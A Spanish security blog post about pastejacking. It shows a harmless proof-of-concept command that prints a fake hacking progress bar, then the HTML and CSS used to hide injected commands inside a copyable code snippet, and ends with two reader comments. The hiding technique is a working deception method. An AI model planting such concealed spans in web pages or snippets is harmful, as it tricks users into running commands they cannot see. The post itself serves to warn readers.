¡Ten cuidado al ejecutar comandos copiados de páginas web directamente a tu terminal!

Hoy he visto en otro blog algo sencillo pero que me ha llamado poderosamente la atención... La mayoría de las veces cuando buscamos (y encontramos) en Internet algún comando concreto, lo copiamos, pegamos y ejecutamos ciegamente en el terminal. Créanme, que lo hacen desde los iniciados hasta los más experimentados.

Ahora bien, copia el siguiente comando y ponlo en tu terminal para observar (seguramente atónito como yo) el resultado:

ls ; clear; echo '¡Qué has hecho insensato! Acabas de darme acceso a tu equipo con sudo!'; echo -ne 'h4cking ## (10%)\r'; sleep 0.3; echo -ne 'h4cking ### (20%)\r'; sleep 0.3; echo -ne 'h4cking ##### (33%)\r'; sleep 0.3; echo -ne 'h4cking ####### (40%)\r'; sleep 0.3; echo -ne 'h4cking ########## (50%)\r'; sleep 0.3; echo -ne 'h4cking ############# (66%)\r'; sleep 0.3; echo -ne 'h4cking ##################### (99%)\r'; sleep 0.3; echo -ne 'h4cking ####################### (100%)\r'; echo -ne '\n'; echo 'pwned!'; echo 'Esto te enseñará a no confiar en los "copy&paste" desde páginas web no confiables a tu terminal'
ls
-lat


Probablemente lo adivinaste. Hay algún código malicioso entre ls y -lat que está oculto al usuario:
<style>
.malicioso {
  color: #f3f5f6;
  position: absolute; 
  left: -100px;
  top: -100px;
  height: 0px;
  z-index: -100;
  display: inline-block;
  -webkit-touch-callout: none; 
     -khtml-user-select: none; 
        -ms-user-select: none;
            user-select: none; 
}
</style>
<code 10px="" background-color:="" eeeeee="" padding:="">
ls

<span class="malicioso">
  ; clear; echo '¡Qué has hecho insensato! Acabas de darme acceso a tu equipo con sudo!';
  echo -ne 'h4cking ##                        (10%)\r';
  sleep 0.3;
  echo -ne 'h4cking ###                       (20%)\r';
  sleep 0.3;
  echo -ne 'h4cking #####                     (33%)\r';
  sleep 0.3;
  echo -ne 'h4cking #######                   (40%)\r';
  sleep 0.3;
  echo -ne 'h4cking ##########                (50%)\r';
  sleep 0.3;
  echo -ne 'h4cking #############             (66%)\r';
  sleep 0.3;
  echo -ne 'h4cking #####################     (99%)\r';
  sleep 0.3;
  echo -ne 'h4cking #######################   (100%)\r';
  echo -ne '\n'; 
  echo 'pwned!';
  echo 'Esto te enseñará a no confiar en los "copy&paste" desde páginas web no confiables a tu terminal'<br /> ls
</span>
-lat 
</code>

Ese código malicioso se encarga de poner el background con el mismo color que el fondo, un tamaño de fuente de 0, se inserta en el resto del código y se hace no seleccionable (esa cosa de color azul no lo revela); para asegurarse de que funciona en todos los posibles sistemas operativos, navegadores y tamaños de pantalla.

Evidentemente esto sólo ha sido una prueba de concepto pero en el mundo real podría ser peor. Si el fragmento de código hubiese tenido un comando con sudo por ejemplo, el código malicioso también tendría acceso a sudo. O, se podría instalar silenciosamente un keylogger en la máquina, las posibilidades son infinitas.

Por lo tanto, la lección aprendida aquí es: aseguraros de pegar fragmentos de código de fuentes no confiables en un editor de texto antes de ejecutarlo. 

Fuente: Look before you paste from a website to terminal

3 comentarios :

  1. En un principio no lo entendía porque leí el artículo desde RSS y se aprecia todo el texto, pero ahora que estoy en el sitio lo he entendido perfectamente y realmente es preocupante. Que simple pero genial PoC.

    ResponderEliminar
  2. La verdad no me esperaba un ataque por esa vía, realmente preocupa, ojala los navegadores traten de encontrar la forma de blindarse ante esta vulnerabilidad importante.

    ResponderEliminar